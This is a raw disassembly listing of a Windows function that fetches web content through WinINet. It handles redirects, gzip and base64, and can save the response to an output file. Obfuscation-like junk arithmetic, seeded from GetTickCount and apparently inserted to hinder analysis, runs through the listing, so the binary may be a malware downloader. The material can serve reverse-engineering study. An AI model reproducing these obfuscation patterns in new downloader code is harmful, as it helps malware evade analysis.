lea eax, [ebp - 0x28940]
push eax
call fcn.0044ff60
push eax
lea eax, [ebp - 0x28948]
push eax
call fcn.0040b510
add esp, 0x24
lea ecx, [ebp - 0x28940]
jmp 0x437970
call fcn.00444250
mov ecx, eax
call fcn.00445270
test al, al
je 0x437984
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x289a4], eax
mov ecx, dword [ebp - 0x28938]
push esi
mov byte [ebp - 4], 0x2a
call fcn.00444250
mov ecx, eax
call fcn.00444940
push eax
lea eax, [ebp - 0x289a4]
push eax
lea eax, [ebp - 0x28980]
push eax
call fcn.0043f4c0
add esp, 0xc
lea ecx, [ebp - 0x289a4]
call fcn.00402720
lea eax, [ebp - 0x28980]
push eax
lea eax, [ebp - 0x28948]
push eax
call fcn.0040b510
add esp, 8
lea ecx, [ebp - 0x28980]
mov byte [ebp - 0x28929], al
call fcn.00402720
cmp byte [ebp - 0x28929], 0
jne 0x4379b8
lea ecx, [ebp - 0x28930]
mov byte [ebp - 4], 0x27
call fcn.00402720
mov esi, dword [ebp - 0x28934]
mov ecx, dword [ebp - 0x28938]
inc esi
mov dword [ebp - 0x28934], esi
call fcn.00445740
cmp esi, eax
jl 0x437860
jmp 0x43776e
lea ecx, [ebp - 0x28930]
mov byte [ebp - 4], 0x27
call fcn.00402720
mov esi, dword [ebp - 0x2895c]
jmp 0x437760
lea eax, [ebp - 0x28948]
push 0x4de990
push eax
call fcn.0040b610
add esp, 8
jmp 0x437766
push 0
lea eax, [ebp - 0x289b0]
push eax
push 0
push 0x16
push dword [ebp - 0x2897c]
mov dword [ebp - 0x289b0], 0
call fcn.00439c40
mov eax, dword [0x51fab0]
add esp, 0x14
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28984], eax
mov eax, dword [ebp - 0x289b0]
mov byte [ebp - 4], 0x2c
test eax, eax
je 0x437ac1
push eax
call fcn.004a63b0
add esp, 4
mov dword [ebp - 0x28930], eax
test eax, eax
je 0x437ac1
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x437a83
push str.HttpQueryInfoA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x437a83
push 0
lea ecx, [ebp - 0x289b0]
push ecx
push dword [ebp - 0x28930]
push 0x16
push dword [ebp - 0x2897c]
call eax
push dword [ebp - 0x28930]
lea ecx, [ebp - 0x28940]
call fcn.004275c0
push eax
lea ecx, [ebp - 0x28984]
mov byte [ebp - 4], 0x2d
call fcn.00402b30
lea ecx, [ebp - 0x28940]
mov byte [ebp - 4], 0x2c
call fcn.00402720
push dword [ebp - 0x28930]
call fcn.004a8200
add esp, 4
cmp byte [ebp - 0x28941], 0
je 0x437f4c
push 0
lea ecx, [ebp - 0x28814]
call fcn.00443cd0
lea eax, [ebp - 0x28948]
push 0x4de998
push eax
mov byte [ebp - 4], 0x2e
call fcn.0040b670
add esp, 8
test al, al
je 0x437b89
lea eax, [ebp - 0x28948]
push 0x4de9a0
push eax
call fcn.0040b670
add esp, 8
test al, al
je 0x437b89
lea eax, [ebp - 0x28948]
push 0x4de9a8
push eax
call fcn.0040b670
add esp, 8
test al, al
je 0x437b89
lea eax, [ebp - 0x28948]
push 0x4de9b0
push eax
call fcn.0040b670
add esp, 8
test al, al
je 0x437b89
mov ecx, dword [ebp - 0x28978]
lea eax, [ebp - 0x28814]
push eax
call fcn.00443a90
lea ecx, [ebp - 0x28814]
mov dword [ebp - 0x2898c], 1
mov byte [ebp - 4], 0x2c
call fcn.00443ee0
lea ecx, [ebp - 0x28984]
call fcn.00402720
lea ecx, [ebp - 0x28948]
call fcn.00402720
jmp 0x437354
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28938], eax
mov byte [ebp - 4], 0x2f
call fcn.00439ba0
test al, al
jne 0x437bb7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x521340], eax
mov eax, dword [ebp - 0x28984]
add eax, 0xfffffff0
push eax
call fcn.00404880
add eax, 0x10
add esp, 4
mov dword [ebp - 0x2894c], eax
lea ecx, [ebp - 0x2894c]
mov byte [ebp - 4], 0x30
call fcn.0040bf20
mov esi, dword [ebp - 0x2894c]
cmp dword [esi - 0xc], 0
jl 0x437ef0
push str.location:
push esi
call fcn.004a87ef
mov edi, eax
add esp, 8
test edi, edi
je 0x437ef0
sub edi, esi
sar edi, 1
cmp edi, 0xffffffff
je 0x437ef0
push edi
push 0x4dbe24
lea ecx, [ebp - 0x2894c]
call fcn.0040bd00
sub eax, edi
push eax
push edi
lea eax, [ebp - 0x28940]
push eax
lea ecx, [ebp - 0x2894c]
call fcn.004229a0
push eax
lea ecx, [ebp - 0x28938]
mov byte [ebp - 4], 0x31
call fcn.00402b30
lea ecx, [ebp - 0x28940]
mov byte [ebp - 4], 0x30
call fcn.00402720
mov eax, dword [ebp - 0x28938]
cmp dword [eax - 0xc], 0
jl 0x437ef0
push str.http
push eax
call fcn.004a87ef
mov edx, eax
add esp, 8
test edx, edx
je 0x437ef0
mov ecx, dword [ebp - 0x28938]
sub edx, ecx
sar edx, 1
cmp edx, 0xffffffff
je 0x437ef0
mov eax, dword [ecx - 0xc]
sub eax, edx
push eax
lea eax, [ebp - 0x28940]
push eax
lea ecx, [ebp - 0x28938]
call fcn.0040c230
push eax
lea ecx, [ebp - 0x28938]
mov byte [ebp - 4], 0x32
call fcn.00402b30
lea ecx, [ebp - 0x28940]
mov byte [ebp - 4], 0x30
call fcn.00402720
push 1
lea ecx, [ebp - 0x2899c]
call fcn.00443dd0
lea eax, [ebp - 0x2899c]
push eax
push str.urlRedirected
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x33
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x30
call fcn.00443ee0
lea eax, [ebp - 0x28958]
push eax
lea eax, [ebp - 0x2884c]
push eax
call fcn.00450030
add esp, 8
push eax
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x34
call fcn.00443bf0
lea eax, [ebp - 0x2899c]
push eax
push str.requestUrl
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x35
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x34
call fcn.00443ee0
lea ecx, [ebp - 0x2884c]
mov byte [ebp - 4], 0x30
call fcn.00401060
lea eax, [ebp - 0x28938]
push eax
lea eax, [ebp - 0x28834]
push eax
call fcn.00450030
add esp, 8
push eax
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x36
call fcn.00443bf0
lea eax, [ebp - 0x2899c]
push eax
push str.redirectUrl
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x37
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x36
call fcn.00443ee0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x28834]
call fcn.00401060
mov eax, dword [ebp - 0x28948]
mov edx, 1
sub edx, dword [eax - 4]
mov ecx, dword [eax - 8]
or ecx, edx
jge 0x437e00
push 0
lea ecx, [ebp - 0x28948]
call fcn.00408680
mov eax, dword [ebp - 0x28948]
push eax
call fcn.004a9317
add esp, 4
lea ecx, [ebp - 0x2899c]
push eax
call fcn.00443c30
lea eax, [ebp - 0x2899c]
push eax
push str.statusCode
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x38
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x2899c]
mov byte [ebp - 4], 0x30
call fcn.00443ee0
mov ecx, dword [0x521340]
mov eax, ecx
imul eax, ecx
cdq
mov esi, 0x18
idiv esi
cmp edx, 3
jne 0x437ef0
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov dword [ebp - 0x28940], eax
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x28934], eax
mov eax, ecx
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [ebp - 0x28980], eax
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x28930], 0
mov dword [ebp - 0x289a4], eax
lea ecx, [ebp - 0x287af]
lea ebx, [ebx]
mov eax, dword [0x521340]
mov bl, al
sub bl, byte [ebp - 0x28930]
mov esi, 1
mov edi, 5
add ecx, 5
inc esi
dec edi
jne 0x437ed7
mov eax, dword [ebp - 0x28930]
inc eax
mov dword [ebp - 0x28930], eax
cmp eax, 0x10
jl 0x437ec0
mov ecx, dword [ebp - 0x28978]
lea eax, [ebp - 0x28814]
push eax
call fcn.00443a90
lea ecx, [ebp - 0x2894c]
mov dword [ebp - 0x2898c], 1
call fcn.00402720
lea ecx, [ebp - 0x28938]
call fcn.00402720
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x2c
call fcn.00443ee0
lea ecx, [ebp - 0x28984]
call fcn.00402720
lea ecx, [ebp - 0x28948]
call fcn.00402720
jmp 0x437354
xor eax, eax
mov dword [ebp - 0x28998], 0
mov dword [ebp - 0x28938], eax
mov dword [ebp - 0x28994], eax
mov dword [ebp - 0x28990], eax
mov byte [ebp - 4], 0x39
mov dword [ebp - 0x289a8], eax
call fcn.00439960
test al, al
jne 0x438010
xor eax, eax
push 0x1c986
push eax
mov word [ebp - 0x28620], ax
lea eax, [ebp - 0x2861e]
push eax
call fcn.004a8550
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x28934], eax
xor esi, esi
lea esp, [esp]
xor edx, edx
test eax, eax
je 0x437fe0
test edx, edx
je 0x437fe0
lea eax, [edx + esi]
lea ecx, [edx + esi]
mov ax, word [ebp + eax*2 - 0x28804]
inc ax
add ax, word [ebp + ecx*2 - 0x28622]
mov word [ebp + ecx*2 - 0x28620], ax
mov eax, dword [ebp - 0x28934]
inc edx
cmp edx, 0xf2
jl 0x437fb2
inc eax
add esi, 0xf2
mov dword [ebp - 0x28934], eax
cmp esi, 0xe4c4
jl 0x437fb0
movsx eax, word [ebp - 0xbc9a]
mov esi, dword [ebp - 0x2895c]
mov dword [0x521340], eax
mov eax, dword [ebp - 0x28938]
sub eax, dword [ebp - 0x28998]
lea ecx, [ebp - 0x28998]
mov dword [ebp - 0x28938], eax
add eax, 0x400
push eax
call fcn.00439bc0
mov eax, dword [ebp - 0x28998]
add eax, dword [ebp - 0x28938]
lea ecx, [ebp - 0x289a8]
push ecx
push 0x400
push eax
push dword [ebp - 0x2897c]
mov dword [ebp - 0x289a8], 0
call fcn.0041d650
push eax
call fcn.00426e20
test eax, eax
je 0x4389a0
mov eax, dword [ebp - 0x289a8]
add eax, dword [ebp - 0x28938]
lea ecx, [ebp - 0x28998]
push eax
call fcn.00439bc0
cmp dword [ebp - 0x289a8], 0
je 0x4380a1
mov eax, dword [ebp - 0x28994]
mov dword [ebp - 0x28938], eax
jmp 0x437f74
push 0x400
lea eax, [ebp - 0x817]
push 0
push eax
mov byte [ebp - 0x818], 0
call fcn.004a8550
add esp, 0xc
mov dword [ebp - 0x289c4], 0x400
push str.Wininet.dll
xor esi, esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x4380e7
push str.HttpQueryInfoA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov ebx, dword [ebp - 0x2897c]
push 0
lea eax, [ebp - 0x289c4]
push eax
lea eax, [ebp - 0x818]
push eax
push 0x1d
push ebx
call esi
test eax, eax
je 0x438308
lea eax, [ebp - 0x818]
push eax
lea ecx, [ebp - 0x28930]
call fcn.004275c0
mov ecx, dword [0x521340]
lea eax, [ecx + 1]
imul eax, ecx
cdq
mov ecx, 0x16
idiv ecx
cmp edx, 5
jne 0x43814b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x50
div ecx
inc edx
mov dword [0x521340], edx
lea eax, [ebp - 0x28930]
push str.gzip
push eax
call fcn.0040b610
add esp, 8
test al, al
je 0x4382f9
mov dword [ebp - 0x28810], 0
mov dword [ebp - 0x2880c], 0
mov dword [ebp - 0x28808], 0
mov eax, dword [ebp - 0x28998]
mov ecx, dword [ebp - 0x28994]
lea edx, [ebp - 0x28810]
push edx
sub ecx, eax
push ecx
push eax
mov byte [ebp - 4], 0x3c
call fcn.00439810
add esp, 0xc
test eax, eax
jne 0x43825b
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
call fcn.004399e0
test al, al
jne 0x4381e4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x521340]
mov edx, 7
test eax, eax
cmove ecx, edx
mov dword [0x521340], ecx
cmp byte [ebp - 0x28939], 0
je 0x4381f5
push dword [ebp - 0x28988]
call esi
push str.gzip_decompressing_error
lea ecx, [ebp - 0x28940]
call fcn.004213a0
mov ebx, dword [ebp - 0x28978]
push eax
push ebx
mov byte [ebp - 4], 0x3d
call fcn.00435690
add esp, 8
lea ecx, [ebp - 0x28940]
call fcn.00402720
lea ecx, [ebp - 0x28810]
call fcn.00434de0
lea ecx, [ebp - 0x28930]
call fcn.00402720
lea ecx, [ebp - 0x28998]
call fcn.00434de0
lea ecx, [ebp - 0x28984]
call fcn.00402720
lea ecx, [ebp - 0x28948]
jmp 0x43720f
lea eax, [ebp - 0x28810]
push eax
lea ecx, [ebp - 0x28998]
call fcn.00434e10
mov esi, dword [0x521340]
mov ecx, 0x15
lea eax, [esi + 1]
imul eax, esi
cdq
idiv ecx
cmp edx, 0xd
jne 0x4382ee
test esi, esi
je 0x4382ee
lea ebx, [ebx]
mov ecx, esi
and ecx, 0x80000001
jns 0x43829f
dec ecx
or ecx, 0xfffffffe
inc ecx
jne 0x4382ac
mov eax, esi
cdq
sub eax, edx
mov esi, eax
sar esi, 1
jmp 0x4382b3
lea esi, [esi*2 + 1]
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
lea eax, [eax + eax*2]
sub ecx, eax
mov dword [0x521340], esi
sub ecx, 0
je 0x4382dd
sub ecx, 2
je 0x4382e0
dec ecx
je 0x4382e1
jmp 0x4382ea
add esi, 2
inc esi
add esi, 2
mov dword [0x521340], esi
test esi, esi
jne 0x438290
lea ecx, [ebp - 0x28810]
call fcn.00434de0
lea ecx, [ebp - 0x28930]
mov byte [ebp - 4], 0x39
call fcn.00402720
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
cmp byte [ebp - 0x28939], 0
je 0x438322
push dword [ebp - 0x28988]
call esi
mov edi, dword [ebp - 0x2894c]
xor bl, bl
push str.responseType
mov ecx, edi
mov byte [ebp - 0x28941], 0
mov dword [ebp - 0x28934], ebx
call fcn.00444250
mov ecx, eax
call fcn.004452f0
mov esi, 1
test al, al
je 0x4383cb
push str.responseType
mov ecx, edi
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x28930]
push eax
call fcn.0044ff60
lea eax, [ebp - 0x28930]
push str.base64
push eax
call fcn.0040b610
add esp, 0x24
test al, al
je 0x43839e
mov byte [ebp - 0x28941], 1
jmp 0x4383c0
lea eax, [ebp - 0x28930]
push str.binary
push eax
call fcn.0040b610
movzx ebx, bl
add esp, 8
test al, al
cmovne ebx, esi
mov dword [ebp - 0x28934], ebx
lea ecx, [ebp - 0x28930]
call fcn.00402720
mov eax, dword [0x51fab0]
mov ecx, 0x51fab0
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x289a0], eax
cmp byte [ebp - 0x28941], 0
mov esi, dword [ebp - 0x28998]
mov byte [ebp - 4], 0x3e
je 0x43849b
mov eax, dword [ebp - 0x28994]
sub eax, esi
push eax
lea eax, [ebp - 0x28940]
push esi
push eax
call fcn.00432920
add esp, 0xc
push eax
lea ecx, [ebp - 0x289a0]
mov byte [ebp - 4], 0x3f
call fcn.00402b30
lea ecx, [ebp - 0x28940]
mov byte [ebp - 4], 0x3e
call fcn.00402720
lea eax, [ebp - 0x28980]
push eax
call fcn.00433230
push eax
lea eax, [ebp - 0x289a0]
push eax
call fcn.0040b510
add esp, 0xc
lea ecx, [ebp - 0x28980]
mov bl, al
call fcn.00402720
test bl, bl
je 0x4385a6
push str.Base64_encdng_error
lea ecx, [ebp - 0x28940]
call fcn.004213a0
mov ebx, dword [ebp - 0x28978]
push eax
push ebx
mov byte [ebp - 4], 0x40
call fcn.00435690
add esp, 8
lea ecx, [ebp - 0x28940]
call fcn.00402720
lea ecx, [ebp - 0x289a0]
jmp 0x438235
test bl, bl
jne 0x4385ac
mov ecx, dword [0x521340]
mov eax, ecx
imul eax, ecx
cdq
mov dword [ebp - 0x28940], 0xb
idiv dword [ebp - 0x28940]
mov edi, dword [ebp - 0x28994]
sub edi, esi
cmp edx, 2
jne 0x4384e2
call fcn.004a8009
mov ecx, dword [0x521340]
cmp ecx, eax
jne 0x4384e2
dec ecx
mov dword [0x521340], ecx
cmp byte [edi + esi - 1], 0
je 0x438508
lea eax, [edi + 1]
push eax
lea ecx, [ebp - 0x28998]
call fcn.00439bc0
mov esi, dword [ebp - 0x28998]
mov byte [edi + esi], 0
mov ecx, dword [0x521340]
mov eax, dword [ebp - 0x28994]
sub eax, esi
cmp eax, 3
jbe 0x438573
mov eax, ecx
imul eax, ecx
imul eax, ecx
and eax, 0x8000000f
jns 0x438529
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xe
jne 0x438545
push 0xeb
push 0xea
push str._d__d_n
call fcn.004a90ce
add esp, 0xc
cmp byte [esi], 0xef
jne 0x438573
cmp byte [esi + 1], 0xbb
jne 0x438573
cmp byte [esi + 2], 0xbf
jne 0x438573
lea eax, [esi + 3]
push eax
push esi
lea eax, [ebp - 0x289ac]
push eax
lea ecx, [ebp - 0x28998]
call fcn.004397c0
mov esi, dword [ebp - 0x28998]
push esi
lea ecx, [ebp - 0x28940]
call fcn.004213a0
push eax
lea ecx, [ebp - 0x289a0]
mov byte [ebp - 4], 0x41
call fcn.00402b30
lea ecx, [ebp - 0x28940]
mov byte [ebp - 4], 0x3e
call fcn.00402720
mov edi, dword [ebp - 0x2894c]
jmp 0x4385ac
mov ebx, dword [ebp - 0x28934]
push str.outputFile
mov ecx, edi
mov byte [ebp - 0x28930], 0
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x4386b8
push str.outputFile
mov ecx, edi
call fcn.00444250
mov ecx, eax
call fcn.00444c40
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00401000
lea eax, [ebp - 0x2894c]
push eax
call fcn.0044ff60
add esp, 0x1c
mov eax, dword [ebp - 0x2894c]
mov byte [ebp - 4], 0x42
cmp dword [eax - 0xc], 0
je 0x4386a9
test bl, bl
je 0x438669
push 0x4dea54
push eax
lea eax, [ebp - 0x28938]
push eax
mov dword [ebp - 0x28938], 0
call fcn.004a9a62
add esp, 0xc
test eax, eax
jne 0x4386a9
mov eax, dword [ebp - 0x28938]
test eax, eax
je 0x4386a9
push eax
mov eax, dword [ebp - 0x28994]
sub eax, esi
push eax
push 1
push esi
call fcn.004a9dab
push dword [ebp - 0x28938]
call fcn.004a9bdd
add esp, 0x14
mov byte [ebp - 0x28930], 1
jmp 0x4386a9
mov eax, dword [ebp - 0x289a0]
push ecx
add eax, 0xfffffff0
mov esi, esp
push eax
call fcn.00404880
add eax, 0x10
mov dword [esi], eax
add esp, 4
lea eax, [ebp - 0x2894c]
push eax
call fcn.004346b0
movzx ecx, byte [ebp - 0x28930]
add esp, 8
test al, al
mov eax, 1
cmovne ecx, eax
mov byte [ebp - 0x28930], cl
lea ecx, [ebp - 0x2894c]
mov byte [ebp - 4], 0x3e
call fcn.00402720
push 0
lea ecx, [ebp - 0x289c0]
call fcn.00443cd0
push 1
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x43
call fcn.00443dd0
lea eax, [ebp - 0x28814]
push eax
push str.result
lea ecx, [ebp - 0x289c0]
mov byte [ebp - 4], 0x44
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x43
call fcn.00443ee0
lea eax, [ebp - 0x289a0]
push eax
push eax
call fcn.00450dd0
lea eax, [ebp - 0x289a0]
push eax
lea eax, [ebp - 0x28834]
push eax
call fcn.00450030
add esp, 0x10
push eax
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x45
call fcn.00443bf0
lea eax, [ebp - 0x28814]
push eax
push str.content
lea ecx, [ebp - 0x289c0]
mov byte [ebp - 4], 0x46
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x45
call fcn.00443ee0
lea ecx, [ebp - 0x28834]
mov byte [ebp - 4], 0x43
call fcn.00401060
lea eax, [ebp - 0x28984]
push eax
lea eax, [ebp - 0x2884c]
push eax
call fcn.00450030
add esp, 8
push eax
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x47
call fcn.00443bf0
lea eax, [ebp - 0x28814]
push eax
push str.headers
push str.additionalInfo
lea ecx, [ebp - 0x289c0]
mov byte [ebp - 4], 0x48
call fcn.00444170
mov ecx, eax
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x47
call fcn.00443ee0
lea ecx, [ebp - 0x2884c]
mov byte [ebp - 4], 0x43
call fcn.00401060
lea eax, [ebp - 0x28948]
push eax
lea eax, [ebp - 0x28864]
push eax
call fcn.00450030
add esp, 8
push eax
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x49
call fcn.00443bf0
lea eax, [ebp - 0x28814]
push eax
push str.httpCode
push str.additionalInfo
lea ecx, [ebp - 0x289c0]
mov byte [ebp - 4], 0x4a
call fcn.00444170
mov ecx, eax
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x49
call fcn.00443ee0
lea ecx, [ebp - 0x28864]
mov byte [ebp - 4], 0x43
call fcn.00401060
push str.empty
lea ecx, [ebp - 0x2887c]
call fcn.00401000
push eax
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x4b
call fcn.00443bf0
lea eax, [ebp - 0x28814]
push eax
push str.noData
lea ecx, [ebp - 0x289c0]
mov byte [ebp - 4], 0x4c
call fcn.00444170
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x4b
call fcn.00443ee0
lea ecx, [ebp - 0x2887c]
mov byte [ebp - 4], 0x43
call fcn.00401060
push str.outputFile
mov ecx, edi
call fcn.00444250
mov ecx, eax
call fcn.004452f0
test al, al
je 0x43895a
push dword [ebp - 0x28930]
lea ecx, [ebp - 0x28814]
call fcn.00443dd0
push str.outputFi
lea ecx, [ebp - 0x28864]
mov byte [ebp - 4], 0x4d
call fcn.00401000
push str.leResult
push eax
lea eax, [ebp - 0x2887c]
push eax
mov byte [ebp - 4], 0x4e
call fcn.00434ab0
add esp, 0xc
lea ecx, [ebp - 0x28814]
push ecx
push eax
lea ecx, [ebp - 0x289c0]
mov byte [ebp - 4], 0x4f
call fcn.00444010
mov ecx, eax
call fcn.00443f80
lea ecx, [ebp - 0x2887c]
call fcn.00401060
lea ecx, [ebp - 0x28864]
call fcn.00401060
lea ecx, [ebp - 0x28814]
mov byte [ebp - 4], 0x43
call fcn.00443ee0
mov ecx, dword [ebp - 0x28978]
lea eax, [ebp - 0x289c0]
push eax
call fcn.00443a90
lea ecx, [ebp - 0x289c0]
mov dword [ebp - 0x2898c], 1
mov byte [ebp - 4], 0x3e
call fcn.00443ee0
lea ecx, [ebp - 0x289a0]
call fcn.00402720
lea ecx, [ebp - 0x28998]
call fcn.00434de0
jmp 0x437b6e
push dword [ebp - 0x2897c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [ebp - 0x28939], 0
je 0x4389c1
push dword [ebp - 0x28988]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.InternetReadFile_Failed
lea ecx, [ebp - 0x28940]
call fcn.004213a0
push eax
push dword [ebp - 0x28978]
mov byte [ebp - 4], 0x3a
call fcn.00435690
mov edx, dword [ebp - 0x28940]
add edx, 0xfffffff0
add esp, 8
mov dword [ebp - 0x2898c], 1
mov byte [ebp - 4], 0x39
lea ecx, [edx + 0xc]
or eax, 0xffffffff
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x438a12
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x28998]
call fcn.00434de0
mov edx, dword [ebp - 0x28984]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x27
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438a41
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28948]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x1c
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438a65
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [edi - 0x10]
or edi, 0xffffffff
mov byte [ebp - 4], 0x1a
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438a85
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28950]
add edx, 0xfffffff0
mov byte [ebp - 4], 0x12
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438aa8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add ebx, 0xfffffff0
mov byte [ebp - 4], 0xf
lea eax, [ebx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438ac5
mov ecx, dword [ebx]
push ebx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0xd
lea eax, [esi + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438ae2
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28974]
add edx, 0xfffffff0
mov byte [ebp - 4], 0xb
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438b05
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28970]
add edx, 0xfffffff0
mov byte [ebp - 4], 9
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438b28
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2896c]
add edx, 0xfffffff0
mov byte [ebp - 4], 6
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438b4b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28958]
add edx, 0xfffffff0
mov byte [ebp - 4], 5
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438b6e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28964]
add edx, 0xfffffff0
mov byte [ebp - 4], 4
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x438b91
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28954]
add edx, 0xfffffff0
mov byte [ebp - 4], 0
lea eax, [edx + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x438bb2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x28978]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a7434
mov esp, ebp
pop ebp
ret